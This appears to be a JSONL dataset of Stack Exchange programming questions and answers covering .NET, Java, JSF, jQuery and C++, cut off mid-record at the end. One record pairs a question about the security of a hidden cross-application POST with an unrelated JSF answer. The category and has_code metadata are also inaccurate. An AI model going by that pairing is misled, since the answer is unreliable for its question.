{"id": "hf_760624bb2172", "question": "<p>What is the best way to structure a VB.NET <a href=\"http://en.wikipedia.org/wiki/Windows_Forms\" rel=\"nofollow noreferrer\">Windows Forms</a> application so that code can be reused and the application can be extended easily?</p>\n\n<p>I used to create lots of new forms. This lead to lots of repeated code and forms which did similar things.</p>\n\n<p>Now, for forms which do similar jobs, such as view/edit/delete items from a specific database table, I create a form with the required controls, have the form create an instance of a class with parameters such as a collection of the controls and a string containing the database table name. Then the individual controls call functions of the class.</p>\n\n<p>Advanced forms will inherit and extend this basic form class.</p>\n\n<ol>\n<li>Has there already been work done in this area?</li>\n<li>Are there books / articles available which discuss the options available on this topic?</li>\n</ol>\n", "question_body": "", "answer": "I had great success with this\nPassive Screen\npattern.\nIn my opinion, the big problem of the traditional MVC architecture is that people stuff way too much into the form classes. This increases the amount of manual testing you have to do.\nThe more automated testing you can do after you compile, the more bugs you will catch at your desk. In a complex application, the side effects from even minor changes occur all too often.\nThe trick to solving this is making a controller assembly that the form assembly (or EXE) references. Every form has a corresponding class in the assembly. Clicking a button will call\n```\nThisForm.ThisButton(<args>)\n```\nwhich will then fire objects lower in your framework. Each form implements an interface so that, if the controller class needs additional information from the form, it has a interface to retrieve it.\nThen for your\nunit testing\nyou simulate an operator performing complex operations by implementing dummy classes to fire events and feed information to the controller classes. The controller classes don't know any different as the dummy classes implement all the expected interfaces.\nThere is an important exception and that is for trivial dialogs. For dialogs that have a few check boxes I feel this organization is overkill. I use the\ncommand pattern\na lot. So in the assembly where I define the Command objects, I put the SIMPLE dialog associated with that command. How simple a dialog has to be to get this treatment is up to you.\nI like to structure my applications as follows.\nUtility - This is an assembly that has stuff I use all the time - Math functions, file function, etc.\nObjects - This has the specific objects I am using for this application.\nUIFramework - This defines all form and controller interfaces.\nCommands - This has all the Command objects that manipulate my application objects.\nUI - Objects that implement the controller interfaces\nEXE - Forms that implement the form interface and calls the controller objects.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.418998"}
{"id": "hf_143238674454", "question": "<p>Imagine the following</p>\n\n<p>A type T has a field Company.\nWhen executing the following method it works perfectly:</p>\n\n<pre><code>Type t = typeof(T);\nt.GetProperty(\"Company\")\n</code></pre>\n\n<p>Whith the following call I get null though</p>\n\n<pre><code>Type t = typeof(T);\nt.GetProperty(\"company\", BindingFlags.IgnoreCase)\n</code></pre>\n\n<p>Anybody got an idea?</p>\n", "question_body": "", "answer": "You need to add\n```\nBindingFlags.Public | BindingFlags.Instance\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.441801"}
{"id": "hf_5c532acbf6f8", "question": "<p>Is there any way to find out what exceptions might be thrown by any method in .NET code? Ideally I want to see what might be thrown and choose which ones I want to handle. I guess I want the information you'd get from the throws clause in java. </p>\n\n<p>The situation is I'm doing a linq query on an xml document from the network and want to know what could go wrong. I could open up the assembly in reflector and have a look but I thought there might be an easier way. </p>\n", "question_body": "", "answer": ".NET does not have enforced (\"checked\") exceptions like java. The intellisense\nmight\nshow this information, if the developer has added a\n```\n/// <exception.../>\n```\nblock - but ultimately more exceptions can happen than you expect (\n```\nOutOfMemoryException\n```\n,\n```\nThreadAbortException\n```\n,\n```\nTypeLoadException\n```\n, etc can all happen fairly unpredictably).\nIn general, you should have an idea of what things are likely to go wrong, and which ones you can actually do something useful about. In most cases, the correct behaviour is to let the exception bubble up (just running any \"finally\" code to release resources).\nEric Lippert has a good blog on this subject\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.463945"}
{"id": "hf_ca415b21b890", "question": "<p>I'm currently working on a WebSphere 6.1 Web Project.</p>\n\n<p>In my java code, how can i get the current running application port?</p>\n", "question_body": "", "answer": "The servlet API gives you the local port in HttpServletRequest.\n```\n```\nprotected void doGet(HttpServletRequest request,\n        HttpServletResponse response) throws ServletException, IOException {\n    PrintWriter writer = response.getWriter();\n    writer.write(\"\" + request.getLocalPort());\n    writer.close();\n}\n```\n```\nThe ports are defined in the node's\nserverindex.xml\n(e.g. [WAS]/profiles/AppSrv01/config/cells/localhostNode01Cell/nodes/localhostNode01/serverindex.xml).\n```\n```\n<specialEndpoints xmi:id=\"NamedEndPoint_1214751102556\" endPointName=\"WC_defaulthost\">\n  <endPoint xmi:id=\"EndPoint_1214751102556\" host=\"*\" port=\"9080\"/>\n```\n```\nI'm not sure if the WAS JMX support exposes this information - you'd have to check the doc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.499718"}
{"id": "hf_83efeda6eedd", "question": "<p>How to put a File path control in VBA front panel? I want the user to be able to select the browse button and select the file path rather than putting up dialog boxes all over the place. I need the user to select three or more file paths.</p>\n", "question_body": "", "answer": "Do you mean VBA for Microsoft Office or just general VBA?\nIn Office,\n```\nApplication.FileDialog(msoFileDialogOpen)\n```\n.\nOtherwise, look at the Win32 API function\n```\nSHBrowseForFolder\n```\n(in shell32.dll). You can import it for use into VBA using the\n```\nDeclare Function\n```\nkeywords.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.540152"}
{"id": "hf_9cc6001111fb", "question": "<p>How do you stop race conditions in MySQL? the problem at hand is caused by a simple algorithm:</p>\n\n<ol>\n<li>select a row from table</li>\n<li>if it doesn't exist, insert it</li>\n</ol>\n\n<p>and then either you get a duplicate row, or if you prevent it via unique/primary keys, an error.</p>\n\n<p>Now normally I'd think transactions help here, but because the row doesn't exist, the transaction don't actually help (or am I missing something?).</p>\n\n<p>LOCK TABLE sounds like an overkill, especially if the table is updated multiple times per second.</p>\n\n<p>The only other solution I can think of is GET_LOCK() for every different id, but isn't there a better way? Are there no scalability issues here as well? And also, doing it for every table sounds a bit unnatural, as it sounds like a very common problem in high-concurrency databases to me. </p>\n", "question_body": "", "answer": "what you want is\nLOCK TABLES\nor if that seems excessive how about\nINSERT IGNORE\nwith a check that the row was actually inserted.\nIf you use the IGNORE keyword, errors\n  that occur while executing the INSERT\n  statement are treated as warnings\n  instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.564503"}
{"id": "hf_202434195374", "question": "<p>I have code similar to the following in many places:</p>\n\n<pre><code>var dbParams = db.ReadParams(memberID, product, GetSubscriptionFields());\nDebug.Assert(dbParams.Count == 4);\n\n_memberCode = dbParams[0];\n_password = dbParams[1];\n_userName = dbParams[2];\n_reasonCode = dbParams[3];\n</code></pre>\n\n<p>ReadParams() returns an array of strings, the number of strings depending on the GetSubscriptionFields() function. I could use dbParams[] directly in my code, but I find it more helpful to give meaningful names to each of the values in the array. Is there a way I can get all the results directly, without going through the array?</p>\n\n<p>I am looking for something like:</p>\n\n<pre><code>db.ReadParams(memberID, product, out _memberCode, out _password, out _userName, out _reasonCode);\n</code></pre>\n\n<p>or</p>\n\n<pre><code>Tuple&lt;_memberCode, _password, _userName, _reasonCode&gt; = db.ReadParams(memberID, product);\n</code></pre>\n\n<p>Of course, it has to be legal C# code :)</p>\n", "question_body": "", "answer": "Why not use constants instead?\nThen in your code you could have\n```\n```\ndbParams[MEMBER_CODE]\ndbParams[PASSWORD]\ndbParams[USERNAME]\ndbParams[REASON_CODE]\n```\n```\nwhich meets your goal of meaningful names without changing the way the method works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.599872"}
{"id": "hf_80f348712b46", "question": "<p>I have a gradient image as a background for a table header(9x18pix). This image is called through a selector class. When the header content grows to 2 lines(vertical height increases), the bg image is tiling vertically and looks ugly. How can I stretch the bg image vertically without tiling?</p>\n", "question_body": "", "answer": "You can't stretch it. Well not without some nasty CSS hacks, that will not really work in all available browsers. I wouldn't use them (unless your HTML code only targets a single browser, e.g. if it's a page for internal use and the browser being used is known). You can make it repeat in just one direction, though. This is what you usually want when having a gradient.\n```\n```\nbackground-repeat: repeat-x;\n```\n```\nHere's an example image:\nHere's HTML code that uses it\n```\n```\n<html>\n<head><title>Gradient Test</title>\n<style type=\"text/css\">\n    th {\n        color:brown;\n        background-image:url(http://img222.imageshack.us/img222/6586/fillhz2.png);\n        background-repeat:repeat-x;\n        margin: 0;\n    }\n</style>\n</head>\n<body>\n    <table>\n        <tr>\n            <th>One line</th>\n            <th>Three<br>lines<br>of text</th>\n        </tr>\n        <tr>\n            <td>Data</td>\n            <td>Data</td>\n        </tr>\n    </table>\n</body>\n</html>\n```\n```\nIt will repeat, but only within one direction. Usually a gradient can be safely repeated within one direction, there is no need to stretch it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.625336"}
{"id": "hf_4ab358a39562", "question": "<p>There is a console Java application which is supposed to run until it is stopped by <kbd>Ctrl</kbd>+<kbd>C</kbd> or closing the console window. How that application can be programmed to execute a clean up code before exit?</p>\n", "question_body": "", "answer": "You could use a\nShutdown Hook\n.\nBasically you need to create a Thread which will perform your shutdown actions, and then\nadd it as a shutdown hook\n. For example:\n```\n```\nclass ShutdownHook extends Thread\n{\n    public void run()\n    {\n        // perform shutdown actions\n    }\n}\n\n// Then, somewhere in your code\n\nRuntime.getRuntime().addShutdownHook(new ShutdownHook())\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.657961"}
{"id": "hf_e9b14d255bce", "question": "<p>I have an App that will send authenticated emails using System.Net.Mail and System.Net.NetworkCredential my question is how should I store the password that is needed to create a NetworkCrednetial object?</p>\n\n<p>The application doesn't have a login but I could setup an option that allows the user to enter their email credentials (in almost all cases this will be their windows login). I can't use Active Directory because not every customer uses it. </p>\n\n<p>I could get the password from the user and then persist it to the users registry, a file or a database. Obviously i'd have to encrypt it. I'm not very familiar with encryption so some pointers would be appreciated if people think thats the best mechanism.</p>\n\n<p>My preference would be to avoid having to store anything, so is there anyway I can get around having to store the credentials myself, perhaps I can get it from the current login or somewhere else?</p>\n", "question_body": "", "answer": "To store a username and password (in Windows) use the\nDPAPI\n. The .Net interface to it is the\nProtectedData\nand ProtectedMemory classes.\nBut first, you could try if the\nUseDefaultCredentials\nor DefaultNetworkCredentials is working for your environment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.740651"}
{"id": "hf_fa85923acf6b", "question": "<p>I am running a Solr instance on Jetty and when I search using the Solr admin panel, it returns the entire document. What should I do to get only specified fields from each Solr document returned by the search?</p>\n", "question_body": "", "answer": "```\n```\n/?q=query&fl=field1,field2,field3\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.771408"}
{"id": "hf_64428d98ac4a", "question": "<p>As a team we are using Visual Studio 2005 with framework 3.0. I am thinking if it will be nice for us to switch to Visual Studio 2008 with framework 3.5 ? Is it worth it ?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Yes, it is 100% worth it. Visual Studio 2008 supports 2005 code (.net 2.0) completely. There are also a lot of improvements that you'll enjoy as you use 2008.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.832084"}
{"id": "hf_c3df15c7ad36", "question": "<p>I am designing a windows service and now deploying it.</p>\n\n<p>I have the code:</p>\n\n<p>ServiceInstaller serviceInstaller1 = new ServiceInstaller();</p>\n\n<p>This instantiates the object (obviously, but throws the following compile-time error:</p>\n\n<p>Error   1   The type 'System.Configuration.Install.ComponentInstaller' is defined in an assembly that is not referenced. You must add a reference to assembly 'System.Configuration.Install, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'.    C:\\Users\\firstname.lastnameDocuments\\Visual Studio 20</p>\n\n<p>How do I fix this? I'm thinking I need an app config file in my Windows Service?</p>\n", "question_body": "", "answer": "System.Configuration.Install should be in the GAC. Is it not there? Does the target machine only have .NET 1.0 or 1.1? Or does the app.config (which you say you might not have present) stipulate one of those earlier .NET Framework versions should be used?\nAh, it is on the dev machine. Then you should go with Marc's answer and just add a reference to the System.Configuration.Install assembly to your project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.869577"}
{"id": "hf_4bec8f468632", "question": "<p>I am using a machine on which I do not have root access and would like to access files on a Samba server in random access mode. I know I can transfer the files in their entirety using smbclient but the files are very large (>1GB) and I would rather just treat them as remote files on which I can do random access.</p>\n\n<p>The problem as noted is that I don't have root access to this machine (a Linux box) so I can't mount the remote Samba file system. </p>\n\n<p>Is there a user-level solution that will let me randomly access the contents of a file on a Samba server? Seems it should be possible to do everything that the kernel file system client is doing but from a user-level application.</p>\n\n<p>I only need read-only access btw and the remote file is guaranteed not to change.</p>\n", "question_body": "", "answer": "Try to use\n```\nsmbmount\n```\nto mount the filesystem without root permissions:\n```\n```\nmkdir ~/temp\nsmbmount //{server}/{share} ~/temp -o username=username={username},password={password}\n```\n```\nEdit: Updated to use\n```\nsmbmount\n```\ninstead of\n```\nmount\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.915893"}
{"id": "hf_7635aaed1eaa", "question": "<p>I'm just in the middle of revisiting maven. Our team had a bad experience when we last looked at this, as it was during the period when maven was rearchitecting from 1.x to 2.x, so a lot of the dependencies we needed hadn't been moved across to the new repositories. However, I have the time to reconsider now.</p>\n\n<p>I am interested in using maven and either LaTeX or DocBook for creating documentation, and I was wondering if anyone had any experiences to share, project/module structure, good plugins to use, etc...</p>\n\n<p>Many thanks :-)</p>\n\n<p>Edit:</p>\n\n<p>Just to clarify, I was looking to write a technical article/book, and my desired artifact would probably be a PDF.</p>\n", "question_body": "", "answer": "You can easily create a site (that contains documentation) with Maven using the mvn site command (i.e. using the\nplugin site\n).\nThis plugin creates technical reports (such as Javadoc, Unit tests reports, code coverage...) but can be also used to create a \"real site\".\nYou have more details about that in\nthis page\n.\nBasically, you write your page using\nAPT\n(\nAlmost Plain Text\nwhich is quite simple to understand), or a XML-based format,\nXdoc\n.\n2 years ago, I create a complete user guide for one application I developed, using the XDoc format and the Site Maven plugin. Globally, it was quite easy to create!\nI hope this will help you!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.940647"}
{"id": "hf_919975bf0615", "question": "<p>I need to search a string in the string array. I dont want to use any for looping in it</p>\n\n<pre><code>string [] arr = {\"One\",\"Two\",\"Three\"};\n\nstring theString = \"One\"\n</code></pre>\n\n<p>I need to check whether theString variable is present in arr.</p>\n", "question_body": "", "answer": "Well, something is going to have to look, and looping is more efficient than recursion (since tail-end recursion isn't fully implemented)... so if you just don't want to loop yourself, then either of:\n```\n```\nbool has = arr.Contains(var); // .NET 3.5\n```\n```\nor\n```\n```\nbool has = Array.IndexOf(arr, var) >= 0;\n```\n```\nFor info:\navoid names like var\n- this is a keyword in C# 3.0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:17.963856"}
{"id": "hf_044063af28ca", "question": "<p>I'm having real difficulties with XAML files in Silverlight since they get very big very fast when using Blend. It just becomes a wall of text after only a handful of controls are added and animated.</p>\n\n<p>I'm hoping a better vesion of Blend will come out soon, so that our designers will never even have to see XAML. For now, though, that is not a solution - XAML still needs to be managed manually and it is a depressing task.</p>\n\n<p>Has anyone found a solution to this? How do you keep your XAML files in order? How do you understand them when they get big?</p>\n\n<p><strong>Edit</strong>: I am especially interested in Silverlight solutions, since the most obvious WPF solution - splitting things up into resource dictionaries - is not supported in Silverlight.</p>\n", "question_body": "", "answer": "It does require a little bit of work to maintain XAML files, but basically, what you need to do is split them up in resource files  (XAML Resource Dictionaries) using a scheme that makes sense to you.\nFor example we use a scheme where we have a folder structure like this:\nResources (contains XAML Files that represent the user controls and pages)\nStencils (XAML files with Shapes)\nStyles ( XAML Files with styles)\nBrushes ( ... )\nShared\nTemplates ( ... )\nYour structure might vary but, separating all resources in different files really makes maintenance more easy in the long run.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.012380"}
{"id": "hf_1f3e6cd3ea4e", "question": "<p>Is it safe to have 2 or more threads call the Win32 API's SetEvent on the same event handler not being protected by a critical section?</p>\n", "question_body": "", "answer": "Assuming you have multiple threads waiting on the same event, running the same code.\nIf your code doesnt clear the event until its done processing, you effectively have a CS.  Since the event remains signaled until it is cleared(aka not autoreset), having multiple threads signal the does nothing except spin the CPU.\nIf your code clears it at the begining of processing or the event is autorset, then you would have multiple threads running the same function, which is unsafe if these threads share anything.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.049020"}
{"id": "hf_1e8b87c0b151", "question": "<p>I'm looking for an example of how to load an image from file and print it on a page using WPF.  I'm having a hard time finding good information about WPF printing.</p>\n", "question_body": "", "answer": "Just load the image and apply it to a visual.  Then use the PrintDialog to do the work.\n```\n```\n...\nPrintDialog printer = new PrintDialog();\n\nif (printer.ShowDialog()) {\n  printer.PrintVisual(myVisual, \"A Page Title\");\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.137421"}
{"id": "hf_92905ddbd3b7", "question": "<p>I'm using event delegation to listen for events lower in the DOM, but it's not working for an onchange event on a select box.  Does the onchange event propagate or bubble up the DOM?</p>\n\n<p>Googling has failed in finding a conclusive answer.</p>\n", "question_body": "", "answer": "Not sure if I get the question, but if you mean this, then NO.\n```\n```\n<div id=\"foo\">\n  <select onchange=\"alert('hi');\">\n    <option>Hello</option>\n    <option>World</option>\n  </select>\n</foo>\n```\n```\nWhere the div id=\"foo\" would have an onchange event... bubbling up from the select list?\non a related note, just an FYI you can't attach an event to the options within the select list in IE (well, you can but it won't fire)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.182062"}
{"id": "hf_4e20115e3378", "question": "<p>I have to read CSV files line by line which can be 10 to 20 Meg. <code>file()</code> is useless and I have to find the quickest way.</p>\n<p>I have tried with <code>fgets()</code>, which runs fine, but I don't know if it reads a small block each time I call it, or if it caches a bigger one and optimize file I/O.\nDo I have to try the <code>fread()</code> way, parsing EOL by myself?</p>\n", "question_body": "", "answer": "```\nfgets()\n```\nshould be perfectly fine for your needs.  Even\n```\nfile()\n```\nshould be ok - 20mb isn't very big unless you're doing this a lot of times concurrently.\nDon't forget you can tune\n```\nfgets()\n```\nwith its second parameter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.261400"}
{"id": "hf_a199188d4197", "question": "<p>What is the best way to implement connection pooling in hsqldb, without compromising on the speed?</p>\n", "question_body": "", "answer": "If you used Hibernate's own connection pooler, you could consider using\nc3p0\n? (If you're already using c3p0, I can't help further) I haven't used HSQLDB myself but I think that could be worth trying.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.321214"}
{"id": "hf_d8c6ba440da7", "question": "<p>I currently have a 32 bit dll that was created with Visual Studio 2003 in C++ using <a href=\"http://en.wikipedia.org/wiki/Managed_Extensions_for_C%2B%2B\" rel=\"nofollow noreferrer\">Managed Extensions</a>. I'm now trying to compile a 64 bit version without having to upgrade to C++/CLI. I've been following the tutorial at <a href=\"http://www.eggheadcafe.com/forumarchives/vclanguage/Aug2005/post23130822.asp\" rel=\"nofollow noreferrer\">this location</a>. I'm getting the following error:</p>\n\n<blockquote>\n  <p> fatal error C1197:\n  cannot reference\n  'c:\\windows\\microsoft.net\\framework\\v1.1.4322\\mscorlib.dll'\n  as the progam has already referenced\n  'c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorlib.dll'</p>\n</blockquote>\n\n<p>I can't figure out what is referencing the .NET 2.0 version of the dll.</p>\n", "question_body": "", "answer": "Do you manually call the .dll file in the code? Like in this?\n```\n```\n#using \"C:\\Windows\\Microsoft.NET\\Framework\\v1.1.4322\\mscorlib.dll\n```\n```\nIf so, you can change this line to just:\n```\n```\n#using \"mscorlib.dll\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.372940"}
{"id": "hf_48a557365f32", "question": "<p>I need a java api, that cannot use JMF, to play video interpreted by the SO codecs but i want to retrieve the each frames in java code. Somebody know some?</p>\n", "question_body": "", "answer": "Have a look at\nFMJ\n.  It does\nnot\nrequire the\nJava Media Framework\n(JMF).\nThey have an\nexample\nat the bottom of the page that writes out the first 5 frames of the video to files, so you should be able to get to the individual frames.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.420779"}
{"id": "hf_c32a6bf359d2", "question": "<p>I need to pause for maybe 500 miliseconds before I submit a form.  Here is what I have so far:</p>\n\n<pre><code> $(\".rowqty input\").bind(\"keyup\", function() { $(\"#ViewCartPage form\").animate({ opacity: 1.0 }, 3000).submit() });\n</code></pre>\n\n<p>so when someone changes the quantity of the input field it submits the form, but I want it to wait for a slight amount of time incase they need a moment to type 2 or 3 numbers.  </p>\n\n<p>As you can see I tried the animate function to try and delay things but with no luck.</p>\n\n<p>I know I could use this: <a href=\"http://blog.mythin.net/projects/jquery.php\" rel=\"nofollow noreferrer\">http://blog.mythin.net/projects/jquery.php</a></p>\n\n<p>I'd rather not add another JS to my site if there is a way around it.</p>\n\n<p>EDIT: Actually the pause plugin above is not working for me either.</p>\n", "question_body": "", "answer": "Give this a shot:\n```\n```\n$(\".rowqty input\").bind(\"keyup\", function() { setTimeout(\"$('#ViewCartPage form').submit()\", 500 });\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.445339"}
{"id": "hf_090560c06b7a", "question": "<p>Any idea anyone? Is it possible that we specify the name of the form input field?\nHow to go about doing that?</p>\n", "question_body": "", "answer": "It's generated as formId:fieldId\nSo, if you had the following:\n```\n```\n<h:form id=\"searchForm\">\n   <h:inputText id=\"searchField\" ... />\n</h:form>\n```\n```\nThe name (and HTML ID) of the search field would be:\nsearchForm:searchField", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.484806"}
{"id": "hf_0824ad38486f", "question": "<p>Is there any security issue if let say in one application we do a hidden post to another application to make use of that application functionality?</p>\n", "question_body": "", "answer": "It's generated as formId:fieldId\nSo, if you had the following:\n```\n```\n<h:form id=\"searchForm\">\n   <h:inputText id=\"searchField\" ... />\n</h:form>\n```\n```\nThe name (and HTML ID) of the search field would be:\nsearchForm:searchField", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.506983"}
{"id": "hf_692ab03fb39d", "question": "<p>I have a list of integers in C#. I wish to remove duplicates. \nIn C++ I would run it through the std::sort and then std::unique algorithms for a very efficient way of obtaining the unique list.</p>\n\n<p>What's the best way to do the same thing in C#? In other words, I'm looking for a more elegant way to do the following code:</p>\n\n<pre><code>    private static int[] unique(int[] ids)\n    {\n        IDictionary&lt;int, object&gt; d = new Dictionary&lt;int, object&gt;();\n        foreach(int i in ids)\n            d[i] = null;\n\n        int[] results = new int[d.Count];\n        int j = 0;\n        foreach(int id in d.Keys)\n            results[j++] = id;\n\n        return results;\n    }\n</code></pre>\n", "question_body": "", "answer": "What version of .NET are you using?\nIn .NET 3.5 that's as simple as calling the\nDistinct()\nextension method and then\nToArray()\nif you really need an array again.\nFor example:\n```\n```\nint[] x = new[] { 1, 4, 23, 4, 1 };\nint[] distinct = x.Distinct().ToArray();\n// distinct is now { 1, 4, 23 } (but not necessarily in that order)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:18.556908"}
{"id": "hf_057d405d4c6f", "question": "<p>I have some function to find a value:</p>\n\n<pre><code>struct FindPredicate\n{\n\n    FindPredicate(const SomeType&amp; t) : _t(t) {\n    }\n    bool operator()(SomeType&amp; t) {\n      return t == _t;\n    }\n\nprivate:\n    const SomeType&amp; _t;\n};\n\nbool ContainsValue(std::vector&lt;SomeType&gt;&amp; v, SomeType&amp; valueToFind) {\n    return find_if(v.begin(), v.end(), FindPredicate(valueToFind)) != v.end();\n}\n</code></pre>\n\n<p>Now I would like to write a function that checks if all members of a vector satisfy that predicate:</p>\n\n<pre><code>bool AllSatisfy(std::vector&lt;SomeType&gt;&amp; v) {\n    /* ... */\n}\n</code></pre>\n\n<p>One solution is to use the <code>std::count_if</code> algorithm.</p>\n\n<p>Does anyone know a solution that involves negating the predicate?</p>\n", "question_body": "", "answer": "The best solution is to use the\nSTL functional library\n. By deriving your predicate from\n```\nunary_function<SomeType, bool>\n```\n, you'll then be able to use the\n```\nnot1\n```\nfunction, which does precisely what you need (i.e. negating a unary predicate).\nHere is how you could do that :\n```\n```\nstruct FindPredicate : public unary_function<SomeType, bool>\n{\n    FindPredicate(const SomeType& t) : _t(t) {}\n\n    bool operator()(const SomeType& t) const {\n      return t == _t;\n    }\n\nprivate:\n    const SomeType& _t;\n};\n\nbool AllSatisfy(std::vector<SomeType>& v, SomeType& valueToFind)\n{\n    return find_if(v.begin(), \n                   v.end(), \n                   not1(FindPredicate(valueToFind))) == v.end();\n}\n```\n```\nIf you want to roll your own solution (which is, IMHO, not the best option...), well, you could write another predicate that is the negation of the first one :\n```\n```\nstruct NotFindPredicate\n{\n\n    NotFindPredicate(const 